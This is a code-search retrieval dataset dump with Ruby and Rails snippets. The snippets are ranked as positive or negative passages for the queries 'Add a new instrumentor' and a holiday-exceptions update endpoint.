query_id
stringlengths 32
32
| query
stringlengths 7
6.75k
| positive_passages
listlengths 1
1
| negative_passages
listlengths 88
101
|
---|---|---|---|
92d1b4e1b07fad8a80a8695bef8e593f | Add a new instrumentor | [
{
"docid": "a34aa02d35fdec0cbce62c2d7938c56c",
"score": "0.75747573",
"text": "def add(instrumentor)\n @lock.synchronize do\n if !instrumentor.is_a?(Core) && !instrumentor.respond_to?(:instrument)\n raise TypeError, \"Instrumentors must implement `#instrument`\"\n end\n\n @instrumentors = (instrumentors + [instrumentor]).freeze\n end\n self\n end",
"title": ""
}
] | [
{
"docid": "8160d4b79048dcd3f4a554f4888ea494",
"score": "0.71305555",
"text": "def add_instrument(instrument)\n unless self.instruments.include?(instrument)\n self.instruments << instrument\n end\n end",
"title": ""
},
{
"docid": "27663bc25597ca333eada4e0cc0fd418",
"score": "0.6951039",
"text": "def instrument(instrument)\n @instruments << instrument\n end",
"title": ""
},
{
"docid": "76d13e432775e2bf5b8d32f1d2544fc0",
"score": "0.6576402",
"text": "def use_instrument(instrument)\n instruments.push(instrument)\n end",
"title": ""
},
{
"docid": "3bbdc08f1b4bfc3b442630b557f88890",
"score": "0.6382345",
"text": "def instrument(&instrumentor)\n register_listener(:instrument, instrumentor)\n end",
"title": ""
},
{
"docid": "4ef19a69ec760c15195f78047e6dcee9",
"score": "0.6087929",
"text": "def new\n @instrument = Instrument.new\n end",
"title": ""
},
{
"docid": "85537ea37e3fc5cec5d6b80398ab7010",
"score": "0.59720767",
"text": "def add(instrument=35, velocity=127,note_length=0)\r\n @track.events << NoteOnEvent.new(9, instrument, velocity, 0)\r\n @track.events << NoteOffEvent.new(9, instrument, velocity, note_length)\r\n end",
"title": ""
},
{
"docid": "a8ce3ccc633eef153826d8a812e8fdd2",
"score": "0.59656537",
"text": "def instrument\n @instrument ||= Instrument.new(info(:instrument))\n end",
"title": ""
},
{
"docid": "009ec8d39f6b3146a4d9d78d54f5ef24",
"score": "0.57921356",
"text": "def instrument\n end",
"title": ""
},
{
"docid": "009ec8d39f6b3146a4d9d78d54f5ef24",
"score": "0.57921356",
"text": "def instrument\n end",
"title": ""
},
{
"docid": "009ec8d39f6b3146a4d9d78d54f5ef24",
"score": "0.57921356",
"text": "def instrument\n end",
"title": ""
},
{
"docid": "bed786b19e11345658ef88bf9f3ef0ff",
"score": "0.57347953",
"text": "def create_paymentinstrument(paymentinstrument)\n commit('paymentinstrument', paymentinstrument)\n end",
"title": ""
},
{
"docid": "ee68c5726c9c07043680f8bab060f8c2",
"score": "0.5725284",
"text": "def create\n authorize! :manage, Instrument\n\n @instrument = Instrument.new(instrument_params)\n\n respond_to do |format|\n if @instrument.save\n format.html { redirect_to @instrument, notice: 'Instrument was successfully created.' }\n format.json { render :show, status: :created, location: @instrument }\n else\n format.html { render :new }\n format.json { render json: @instrument.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "53a37b51c7dd1f737f1a4c4483f21b01",
"score": "0.5705371",
"text": "def create\n @instrument = Instrument.new(instrument_params)\n\n respond_to do |format|\n if @instrument.save\n format.html { redirect_to @instrument }\n format.json { render :show, status: :created, location: @instrument }\n else\n format.html { render :new }\n format.json { render json: @instrument.errors, status: :unprocessable_entity }\n end\n end\n @instrument.id2 = \"IN-\" + \"#{@instrument.id}\"\n @instrument.save\n end",
"title": ""
},
{
"docid": "77bb9db3cd99d36cb78552ccb79d8794",
"score": "0.56938237",
"text": "def add_unit (unit)\n @units << unit\n\n end",
"title": ""
},
{
"docid": "2e00da1e6ebdc3e7f420eed6cd22b662",
"score": "0.56837684",
"text": "def create\n @instrument = Instrument.new(instrument_params)\n\n respond_to do |format|\n if @instrument.save\n format.html { redirect_to @instrument, notice: 'Instrument was successfully created.' }\n format.json { render :show, status: :created, location: @instrument }\n else\n format.html { render :new }\n format.json { render json: @instrument.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2e00da1e6ebdc3e7f420eed6cd22b662",
"score": "0.56837684",
"text": "def create\n @instrument = Instrument.new(instrument_params)\n\n respond_to do |format|\n if @instrument.save\n format.html { redirect_to @instrument, notice: 'Instrument was successfully created.' }\n format.json { render :show, status: :created, location: @instrument }\n else\n format.html { render :new }\n format.json { render json: @instrument.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52aefdc7af60b06e4af31be83077e43c",
"score": "0.5663609",
"text": "def create\n @instrument = Instrument.new(params[:instrument])\n\n respond_to do |format|\n if @instrument.save\n format.html { redirect_to @instrument, notice: 'Instrument was successfully created.' }\n format.json { render json: @instrument, status: :created, location: @instrument }\n else\n format.html { render action: \"new\" }\n format.json { render json: @instrument.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ce745e65a6f5e42016020fc5f757fd42",
"score": "0.56600773",
"text": "def instrument_manager; end",
"title": ""
},
{
"docid": "bea6abbe394d8bd7ae8225e966afa02f",
"score": "0.56541866",
"text": "def create\n @instrument = Instrument.new(instrument_params)\n\n respond_to do |format|\n if @instrument.save\n format.html { redirect_to @instrument, notice: 'Instrumento fue creado de forma exitosa.' }\n format.json { render :show, status: :created, location: @instrument }\n else\n format.html { render :new }\n format.json { render json: @instrument.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bce9383e5cb5dc23244d33ca07ed764a",
"score": "0.5634491",
"text": "def setup_instrument_software(instrument, op = nil)\n open_software(instrument)\n #select_plate_type(instrument)\n get_sample_type_rc_list_hash(instrument).each do |sample_type_name, rc_list|\n if ALLOWABLE_FC_SAMPLETYPES.include? sample_type_name\n if op != nil\n test_group_label = \"#{instrument.measurement_item}-#{op.input('When to Measure? (24hr)')}\"\n else\n test_group_label = \"#{instrument.measurement_item}\"\n end\n\n show do\n title \"Add Group\"\n note \"In the Attune software add a test group and label it #{test_group_label}\"\n end\n\n collection = collection_from(instrument.measurement_item)\n show do\n title \"Add Samples to Plan\"\n separator\n note \"In the Attune software add #{rc_list.length} samples in group #{test_group_label}.\"\n note 'Rename samples per table below'\n table highlight_alpha_rc(collection, rc_list, check: false)\n end\n apply_settings(instrument: instrument)\n end\n end\n end",
"title": ""
},
{
"docid": "dd20fa0daee5a17754615eb0eb3dad57",
"score": "0.5607911",
"text": "def create\n @instrument = Instrument.new(params[:instrument])\n\n respond_to do |format|\n if @instrument.save\n format.html { redirect_to @instrument, :notice => 'Instrument was successfully created.' }\n format.json { render :json => @instrument, :status => :created, :location => @instrument }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @instrument.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5339f91c055f275c85ad1932661bf4c1",
"score": "0.55900764",
"text": "def create\n @instrumento = Instrumento.new(instrumento_params)\n\n respond_to do |format|\n if @instrumento.save\n format.html { redirect_to @instrumento, notice: 'Instrumento was successfully created.' }\n format.json { render :show, status: :created, location: @instrumento }\n else\n format.html { render :new }\n format.json { render json: @instrumento.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d6968f4256e687c90dc5ea28eee4c2bc",
"score": "0.5573425",
"text": "def create\n @breadcrumb = 'create'\n @currency_instrument = CurrencyInstrument.new(params[:currency_instrument])\n @currency_instrument.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @currency_instrument.save\n format.html { redirect_to @currency_instrument, notice: crud_notice('created', @currency_instrument) }\n format.json { render json: @currency_instrument, status: :created, location: @currency_instrument }\n else\n @minor_unit = 6\n format.html { render action: \"new\" }\n format.json { render json: @currency_instrument.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c849696c12a45d68ea34a4447e00c70a",
"score": "0.5571276",
"text": "def create\n @instrumento = Instrumento.new(params[:instrumento])\n\n respond_to do |format|\n if @instrumento.save\n format.html { redirect_to @instrumento, notice: 'Instrumento creado.' }\n format.json { render json: @instrumento, status: :created, location: @instrumento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @instrumento.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "57a380cf50c336e630f54437f9b7cdd9",
"score": "0.5561969",
"text": "def create\n @instrumento = Instrumento.new(params[:instrumento])\n\n if @instrumento.save\n render json: @instrumento, status: :created, location: @instrumento\n else\n render json: @instrumento.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "b5005069e2b8bea47d2758e3c942ef16",
"score": "0.5541792",
"text": "def add_sample(sample)\n @samples << sample\n end",
"title": ""
},
{
"docid": "6550bd9e0d9556d0fcbfb40bf7ccda91",
"score": "0.55354875",
"text": "def add(instruction)\n @instructions << instruction\n end",
"title": ""
},
{
"docid": "14af8bead78623f74274cdec0bad4a48",
"score": "0.5502114",
"text": "def add_txcoder(tx_id)\n @started and @monitor_group.add_txcoder tx_id\n end",
"title": ""
},
{
"docid": "95e90cba30bd6387b331cbae1d6e9430",
"score": "0.54734147",
"text": "def create\n\t\t@instrument = Instrument.new(instrument_params)\n \n\t\tif @instrument.save\n\t\t\trender json: @instrument, status: :created, location: @instrument \n\t\telse\n\t\t\trender json: @instrument.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"title": ""
},
{
"docid": "17ee0abd0fa6851293bed0679d2ca62f",
"score": "0.5469752",
"text": "def instrumenter; end",
"title": ""
},
{
"docid": "17ee0abd0fa6851293bed0679d2ca62f",
"score": "0.5469752",
"text": "def instrumenter; end",
"title": ""
},
{
"docid": "a1cc10a0fd0832afc77d3a3acffae718",
"score": "0.5465337",
"text": "def add_observation(obs)\n return if observations.include?(obs)\n\n observations.push(obs)\n obs.update(specimen: true) unless obs.specimen\n obs.log(:log_herbarium_record_added,\n name: accession_at_herbarium,\n touch: true)\n end",
"title": ""
},
{
"docid": "2b574936737e962acad39430c2f4fc4b",
"score": "0.5462456",
"text": "def create\n @instrument = Instrument.new(instrument_params)\n\n if @instrument.save\n render :show, status: :created, location: @instrument\n else\n render json: @instrument.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "fa90dbc17c2ec8bf39a056bafc9e4a38",
"score": "0.54276544",
"text": "def create_an_instrument_with_http_info(instrument_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: InstrumentsApi.create_an_instrument ...'\n end\n # verify the required parameter 'instrument_request' is set\n if @api_client.config.client_side_validation && instrument_request.nil?\n fail ArgumentError, \"Missing the required parameter 'instrument_request' when calling InstrumentsApi.create_an_instrument\"\n end\n # resource path\n local_var_path = '/instruments'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(instrument_request)\n\n # return_type\n return_type = opts[:debug_return_type] || 'InstrumentResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['ApiSecretKey']\n\n new_options = opts.merge(\n :operation => :\"InstrumentsApi.create_an_instrument\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: InstrumentsApi#create_an_instrument\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "2e710671a96ef1f95225a1a0dd8e183f",
"score": "0.54093707",
"text": "def initialize(name='', instrument='', vice=nil)\n @name = name\n @instrument = instrument\n @vice = vice\n end",
"title": ""
},
{
"docid": "3c1344e0a920a35b98d7cfdb7fac820a",
"score": "0.53934574",
"text": "def instrument(name, &block)\n profile = Profile.new(full_name(name), &block)\n return_value = profile.call\n self.add(profile)\n return_value\n end",
"title": ""
},
{
"docid": "0301d74f3ada3a1142bf1a3e77289957",
"score": "0.53892714",
"text": "def create_an_instrument(instrument_request, opts = {})\n data, _status_code, _headers = create_an_instrument_with_http_info(instrument_request, opts)\n data\n end",
"title": ""
},
{
"docid": "c24b589e6c7d286cb86be802407d5d2e",
"score": "0.53650796",
"text": "def add_interest(_arg0); end",
"title": ""
},
{
"docid": "b13aeeaa18d5dbaa36f0b1092ff6fd23",
"score": "0.53621817",
"text": "def create\n @alunosinstrumento = Alunosinstrumento.new(alunosinstrumento_params)\n\n respond_to do |format|\n if @alunosinstrumento.save\n format.html { redirect_to @alunosinstrumento, notice: 'Alunosinstrumento was successfully created.' }\n format.json { render :show, status: :created, location: @alunosinstrumento }\n else\n format.html { render :new }\n format.json { render json: @alunosinstrumento.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19b4f841c3c2d8c9a8b2ca07c343bd82",
"score": "0.5354952",
"text": "def add(individual)\n @individuals.push(individual)\n end",
"title": ""
},
{
"docid": "19ad2dd6364ada93d9cf63f710d4d863",
"score": "0.5345314",
"text": "def instrument_name; add_name_extra_to(instrument[:instrument_name]); end",
"title": ""
},
{
"docid": "609fc6a0d844e548e0671c83d04bdf40",
"score": "0.53385377",
"text": "def create\n @instrument = Instrument.new(admin_instrument_params)\n\n respond_to do |format|\n if @admin_instrument.save\n format.html { redirect_to @admin_instrument, notice: 'Instrument was successfully created.' }\n format.json { render action: 'show', status: :created, location: @admin_instrument }\n else\n format.html { render action: 'new' }\n format.json { render json: @admin_instrument.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0922883144ec5805187b5ffbadf0a106",
"score": "0.5330083",
"text": "def add_trainer(t)\n @trainers << t\n end",
"title": ""
},
{
"docid": "553c7b8725d0be61c0235c4556e57a6c",
"score": "0.53182125",
"text": "def addNewSavVehicleToBase(savBase = nil)\n savBase = @simulator.savBaseList.sample if(savBase.nil?) ;\n\n newSav = savBase.addNewSavVehicle() ;\n\n return newSav ;\n end",
"title": ""
},
{
"docid": "ebac2a4d052b495efb7d2536d8d08ce5",
"score": "0.5305598",
"text": "def create\n @instrument_type = InstrumentType.new(instrument_type_params)\n\n respond_to do |format|\n if @instrument_type.save\n format.html { redirect_to @instrument_type, notice: 'Instrument type was successfully created.' }\n format.json { render :show, status: :created, location: @instrument_type }\n else\n format.html { render :new }\n format.json { render json: @instrument_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f6c1e9cf30bb8c558a12d7d026bd7136",
"score": "0.5304014",
"text": "def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"title": ""
},
{
"docid": "f6c1e9cf30bb8c558a12d7d026bd7136",
"score": "0.5304014",
"text": "def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"title": ""
},
{
"docid": "f6c1e9cf30bb8c558a12d7d026bd7136",
"score": "0.5304014",
"text": "def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"title": ""
},
{
"docid": "f6c1e9cf30bb8c558a12d7d026bd7136",
"score": "0.5304014",
"text": "def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"title": ""
},
{
"docid": "f6c1e9cf30bb8c558a12d7d026bd7136",
"score": "0.5304014",
"text": "def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"title": ""
},
{
"docid": "f6c1e9cf30bb8c558a12d7d026bd7136",
"score": "0.5304014",
"text": "def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"title": ""
},
{
"docid": "f6c1e9cf30bb8c558a12d7d026bd7136",
"score": "0.5304014",
"text": "def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"title": ""
},
{
"docid": "f6c1e9cf30bb8c558a12d7d026bd7136",
"score": "0.5304014",
"text": "def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"title": ""
},
{
"docid": "0bf5943a7b8b76b44ab7bf259ce31f6d",
"score": "0.52727866",
"text": "def test_add_existing_driver\n emma_clone = \"Emma\" \n \n # Create emma with a medium trip\n @test_tracker.add_new_driver(@EMMA_DRIVER)\n @test_tracker.record_new_trip(@EMMA_DRIVER, @MEDIUM_TRIP)\n \n # Try to add new tracker\n @test_tracker.add_new_driver(emma_clone)\n \n assert(@test_tracker.is_driver_tracked(@EMMA_DRIVER), \"Driver named \" + @EMMA_DRIVER + \" is not being tracked.\")\n assert(@test_tracker.get_trips(@EMMA_DRIVER).length == 1, \"Driver named \" + @EMMA_DRIVER + \" did not have the correct number of trips\")\n end",
"title": ""
},
{
"docid": "d76611fe0825649eda7cf22d3dd73361",
"score": "0.52654654",
"text": "def setup_instrument(instrument_options = {})\n @instrument = FactoryGirl.create(:setup_instrument, instrument_options)\n @facility = @authable = @instrument.facility\n @facility_account = @instrument.facility.facility_accounts.first\n @price_group = @instrument.price_groups.last\n @price_policy = @instrument.price_policies.last\n @rule = @instrument.schedule_rules.first\n @price_group_product = @instrument.price_group_products.first\n @instrument\n end",
"title": ""
},
{
"docid": "b1a67545eead5a431c15eb1ef11deff0",
"score": "0.5259754",
"text": "def add_filter(&block)\n self.instrumentable_filters << block\n end",
"title": ""
},
{
"docid": "5dfbd566e84b98e35fafc2a4c4bf962c",
"score": "0.52547187",
"text": "def add\n end",
"title": ""
},
{
"docid": "a1ac9410789e015c6e4d1a2a0c0987d7",
"score": "0.52356887",
"text": "def create\n @game_instrument = GameInstrument.new(game_instrument_params)\n\n respond_to do |format|\n if @game_instrument.save\n format.html { redirect_to action: :index, notice: 'Game instrument was successfully created.' }\n format.json { render :show, status: :created, location: @game_instrument }\n else\n format.html { render :new }\n format.json { render json: @game_instrument.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ad637dcee2b27b5b4f21cb1917220f9b",
"score": "0.5232601",
"text": "def add(destination, source)\n parsed_source = AddInstuction.parse(source)\n @instructions << AddInstuction.new(destination, parsed_source).to_s\n end",
"title": ""
},
{
"docid": "f4935169af68a3689afbdab11c0b9440",
"score": "0.52312315",
"text": "def instrumenter=(_arg0); end",
"title": ""
},
{
"docid": "99d9d6c286b422de9b85092cf1566b62",
"score": "0.5222461",
"text": "def add_soldier bee\n @soldiers << bee\n end",
"title": ""
},
{
"docid": "c66bdd07fddda82a6177037a332a7f46",
"score": "0.5212528",
"text": "def add_viewer(viewer)\n @observer_list << viewer\n end",
"title": ""
},
{
"docid": "2f8a283ca8dd66ff83e8639d4f214ac8",
"score": "0.5209956",
"text": "def add_trip(command:, drivers:)\n driver_name, start_time, end_time, miles = command.split(\" \")[1..-1]\n driver = drivers.find { |reg_driver| reg_driver.name == driver_name }\n return if driver.nil? # driver not registered\n\n driver.trips << Trip.new(\n start_time: start_time, end_time: end_time, miles: miles\n )\n end",
"title": ""
},
{
"docid": "8270806a6669ca32d7b9c1163ccbba67",
"score": "0.5205942",
"text": "def add(expenditure)\n @expenditures.push(expenditure)\n end",
"title": ""
},
{
"docid": "f77ba53800b71f02e2133dad9cd3096b",
"score": "0.520359",
"text": "def addNewSavVehicleToBase(savBase = nil) ;\n @allocator.addNewSavVehicleToBase(savBase) ;\n end",
"title": ""
},
{
"docid": "1b78478e785743e2cbd274deeac72a58",
"score": "0.5196586",
"text": "def add_test( ident, modules = [] )\n ensure_valid\n t = TestModelItem.new @model, @tests.add(self, { :ident => ident } )\n modules.each { |m| t.add_module(m) }\n end",
"title": ""
},
{
"docid": "bc3bd8690b91a9fe3be1efc4f28134e1",
"score": "0.5182379",
"text": "def add_entry(label, microseconds, iters, stats, measurement_cycle); end",
"title": ""
},
{
"docid": "f30b66cc9e848b586cd0b7ca714d58e9",
"score": "0.51805365",
"text": "def set_instrument\n\t\t@instrument = Instrument.find(params[:id])\n\t end",
"title": ""
},
{
"docid": "3c602fa72adee648d8eeef7177d7bc98",
"score": "0.5171995",
"text": "def add_physician(id, name, type)\n \"Adding new #{type}: #{name}\"\n end",
"title": ""
},
{
"docid": "1edf528a7912d3f22649d280f04325c8",
"score": "0.51705384",
"text": "def add(patient)\n patient.id = @next_id # define the patient id\n @next_id += 1 # increment the next id\n @patients << patient # save the patient into the array\n save_csv # save all patients into the csv\n end",
"title": ""
},
{
"docid": "b09e4bebf224a16a8403fc2761089018",
"score": "0.51701933",
"text": "def add\n meter = nil\n Meter.uncached { meter = Meter.find_by_name_and_created_on(name, created_on) }\n meter ||= Meter.new(name: name, created_on: created_on)\n meter.value += value\n return meter.save\n end",
"title": ""
},
{
"docid": "b6147b866ee5fcc53cd40a7f48c687bf",
"score": "0.5160442",
"text": "def add\n @mode = :add\n self\n end",
"title": ""
},
{
"docid": "d6b3e03e4915ba318f9d97abe1511cf8",
"score": "0.5159558",
"text": "def instrumenter(&block); end",
"title": ""
},
{
"docid": "f8511742bff18f112bc088f00887448f",
"score": "0.51528937",
"text": "def add(tracker)\n trackers[tracker.name] = tracker\n end",
"title": ""
},
{
"docid": "ec85449d6ba18ffaba3b14a5437bd906",
"score": "0.5149947",
"text": "def add(neuron = Neuron.new)\n list << neuron\n @size += 1\n end",
"title": ""
},
{
"docid": "60a025d537bc65414cf04048a2b160c0",
"score": "0.5146125",
"text": "def add_transaction(description, amount)\n @transactions.push(description: description, amount: amount)\n end",
"title": ""
},
{
"docid": "180e13caa9269d7678343da419119752",
"score": "0.5143235",
"text": "def create\n @instrutor = Instrutor.new(instrutor_params)\n\n respond_to do |format|\n if @instrutor.save\n format.html { redirect_to instrutores_path, notice: 'Instrutor was successfully created.' }\n format.json { render :show, status: :created, location: @instrutor }\n else\n format.html { render :new }\n format.json { render json: @instrutor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3b2262b63fddc1be2ab3e6f86ceaea5",
"score": "0.51414806",
"text": "def add_crystals\n \tself.crystal = Crystal.new\n end",
"title": ""
},
{
"docid": "db9dd0875434939fa27153fe4dae758a",
"score": "0.5140746",
"text": "def instrument(type, name, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "096c03db1d1a47dcd1529235fb7b665c",
"score": "0.51349753",
"text": "def add(inst)\n\t\n\t\t# Two instances of the same type with the same id is not allowed\n\t\traise \"Error: A #{inst.type} called #{inst.id} already exists\" if @indexbytype[inst.type].key?(inst.id)\n\t\n\t\t# Store instance\n\t\t@instances << inst\n\t\n\t\t# Update indexbytype\n\t\t@indexbytype[inst.type][inst.id] = inst \n\t\n\t\t# It is possible to have two instances with the same id if they are of different types\n\t\tif @indexbyid.key?(inst.id)\n\t\t\tcurritem = @indexbyid[inst.id]\n\t\t\tif curritem.class == Array\n\t\t\t\tcurritem << inst\n\t\t\t else\n\t\t\t\t@indexbyid[inst.id] = [ curritem, inst ]\n\t\t\t end\n\t\t else\n\t\t\t@indexbyid[inst.id] = inst\n\t\t end\n\t\t \n\tend",
"title": ""
},
{
"docid": "f3d3115a1c6f0ffc8a8d651675983c02",
"score": "0.5132419",
"text": "def add_soldier_to_army soldier_info\n\t@army.add_soldier_to_army(soldier_info)\nend",
"title": ""
},
{
"docid": "8f6d8f6c4653b1b9e9f3bb9af9440a9c",
"score": "0.51218116",
"text": "def add_to_target(record)\n @target << record\n record\n end",
"title": ""
},
{
"docid": "2c799b0dcd5b1905a0a63a66ebc2c5c2",
"score": "0.5105797",
"text": "def add\n end",
"title": ""
},
{
"docid": "d2e939fcdd40adca03d01d55add52a63",
"score": "0.51051986",
"text": "def add_transaction(transaction)\n @transactions << transaction\n end",
"title": ""
},
{
"docid": "d2e939fcdd40adca03d01d55add52a63",
"score": "0.51051986",
"text": "def add_transaction(transaction)\n @transactions << transaction\n end",
"title": ""
},
{
"docid": "4bb1dea97678b18dcdc0f3265a086953",
"score": "0.510478",
"text": "def add_driver driver\n\t\t@driver = driver\n\tend",
"title": ""
},
{
"docid": "11bcd955935060f466ed1f525eb31f76",
"score": "0.5104368",
"text": "def add_tracker\n self.create_tracker(tracked: self)\n end",
"title": ""
},
{
"docid": "c1865df53afb9fcdbc5d3eea2099bd15",
"score": "0.5104235",
"text": "def agregar(elemento)\r\n #Como es una pila agregamos el elemento al tope (en este caso al final del arreglo)\r\n @estructura << elemento\r\n end",
"title": ""
},
{
"docid": "e592bc7f0560c2881da3aabc2bfce7b6",
"score": "0.5104116",
"text": "def add_recording_to_catalog recording\n \n @catalog.attach_recording recording\n\n end",
"title": ""
},
{
"docid": "cac10ac656a978ef262a0cb4c2254556",
"score": "0.5100679",
"text": "def create\n @instrutor = Instrutor.new(instrutor_params)\n\n respond_to do |format|\n if @instrutor.save\n format.html { redirect_to @instrutor, notice: 'Instrutor was successfully created.' }\n format.json { render :show, status: :created, location: @instrutor }\n else\n format.html { render :new }\n format.json { render json: @instrutor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c0d4f46352bdec8644f1e5cfd206d138",
"score": "0.50982726",
"text": "def setup_instrument(instrument_options = {})\n @instrument = FactoryBot.create(:setup_instrument, instrument_options)\n @facility = @authable = @instrument.facility\n @facility_account = @instrument.facility.facility_accounts.first\n @price_group = @instrument.price_groups.last\n @price_policy = @instrument.price_policies.last\n @rule = @instrument.schedule_rules.first\n @price_group_product = @instrument.price_group_products.first\n @instrument\nend",
"title": ""
},
{
"docid": "198de9e61093b83232cb1ac0552efd45",
"score": "0.5097931",
"text": "def addMentor(person)\n @mentors << person.id\n end",
"title": ""
},
{
"docid": "cdd12626493c72e1422df24231297c77",
"score": "0.50877947",
"text": "def set_instrumento\n @instrumento = Instrumento.find(params[:id])\n end",
"title": ""
},
{
"docid": "7f6cd0125c8f7463f4eedd326a9332d6",
"score": "0.5081991",
"text": "def add_driver(driver)\n @driver = driver\n end",
"title": ""
},
{
"docid": "f17422194dbd9914d0ae672e0b1f2abd",
"score": "0.50804424",
"text": "def add_transaction(amount)\n @transactions << amount\n end",
"title": ""
},
{
"docid": "62e321586b4ea6bb76cefbc4595fc88d",
"score": "0.50712544",
"text": "def instrument(name, payload = {}, &block)\n instrumenter.instrument(name, payload, &block)\n end",
"title": ""
},
{
"docid": "dd6de64de05382ee41c72e7a26937e6d",
"score": "0.50636965",
"text": "def add_dancer(dancer)\n @dancers << dancer\n end",
"title": ""
},
{
"docid": "306d5ea96b08630b45ef3d87f6a3cfd0",
"score": "0.506019",
"text": "def addIndividual(individual)\n @individuals.push(individual)\n end",
"title": ""
},
{
"docid": "78551157fbed765b7214983b8e2b5691",
"score": "0.5060096",
"text": "def add(engine)\n @engines << EngineSummary.new(-1, engine, 'nowhere', 40814, 'unknown')\n end",
"title": ""
},
{
"docid": "1480b62a1569afba429719bf17523b05",
"score": "0.50590247",
"text": "def instrument(name, payload = {}, &block)\n instrumenter.instrument(name, payload, &block)\n end",
"title": ""
}
] |
9dc6d05669627292dc7d2857b72eab4d | PATCH/PUT /holiday_exceptions/1 PATCH/PUT /holiday_exceptions/1.json | [
{
"docid": "42fb199d3989f3c3e9f038d5bf6ae539",
"score": "0.72125435",
"text": "def update\n respond_to do |format|\n begin\n status = @holiday_exception.update(holiday_exception_params)\n rescue => e\n status = false\n customer_holiday_ids = CustomersHoliday.where(customer_id: @holiday_exception.customer_id).pluck(:holiday_id)\n @holidays = Holiday.where(global:true).or(Holiday.where(id: customer_holiday_ids))\n logger.debug\"UPDATE #{e.inspect} , STATUS #{status}\" \n end\n if status\n format.html { redirect_to edit_holiday_exception_path(@holiday_exception), notice: 'Holiday exception was successfully updated.' }\n format.json { render :show, status: :ok, location: @holiday_exception }\n else\n format.html { render :edit }\n format.json { render json: @holiday_exception.errors, status: :unprocessable_entity }\n end\n\n end\n end",
"title": ""
}
] | [
{
"docid": "2e341bd566a210ad22dac7d8fed31d14",
"score": "0.66124696",
"text": "def update\n respond_to do |format|\n if @extra_holiday.update(extra_holiday_params)\n format.html { redirect_to @extra_holiday, notice: 'Extra holiday was successfully updated.' }\n format.json { render :show, status: :ok, location: @extra_holiday }\n else\n format.html { render :edit }\n format.json { render json: @extra_holiday.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b31723cc27f1520c3a436e071431d967",
"score": "0.6513476",
"text": "def update\n respond_to do |format|\n if @holiday.update_attributes(params[:holiday])\n format.html { redirect_to @holiday, notice: 'El Feriado fue Actualizado.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @holiday.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "18497fcda0edfe1d738f921b8cdcf21e",
"score": "0.6476268",
"text": "def update\n respond_to do |format|\n if @special_holiday.update(special_holiday_params)\n format.html { redirect_to @special_holiday, notice: 'Special holiday was successfully updated.' }\n format.json { render :show, status: :ok, location: @special_holiday }\n else\n format.html { render :edit }\n format.json { render json: @special_holiday.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e275e4b53e84d9de434c7cefeee2b576",
"score": "0.63946867",
"text": "def update\n begin\n @updated_holiday = @@data_util.strip_hash_data(params[:holiday])\n @updated_holiday[:lastupdateby] = session[:username].strip\n @updated_holiday[:holidaydate] = Date.strptime(@updated_holiday[:holidaydate], \"%m/%d/%Y\")\n @locals = JSON.parse params[:locals] unless params[:locals].nil? \n\n @holiday = Holiday.find(params[:id])\n if @holiday.update_attributes(@updated_holiday)\n unless @locals.empty?\n self.add_holiday_local(@locals,@holiday.id)\n end\n @@request_result[:success] = true\n @@request_result[:notice] = \"Holiday was successfully updated.\"\n else\n @@request_result[:errormsg] = @holiday.errors.full_messages[0]\n end\n rescue Exception => e\n @@request_result[:errormsg] = e.message\n end\n render json: @@request_result\n end",
"title": ""
},
{
"docid": "ec8a9d60b5cadab1a8a78efcd42f1931",
"score": "0.6384276",
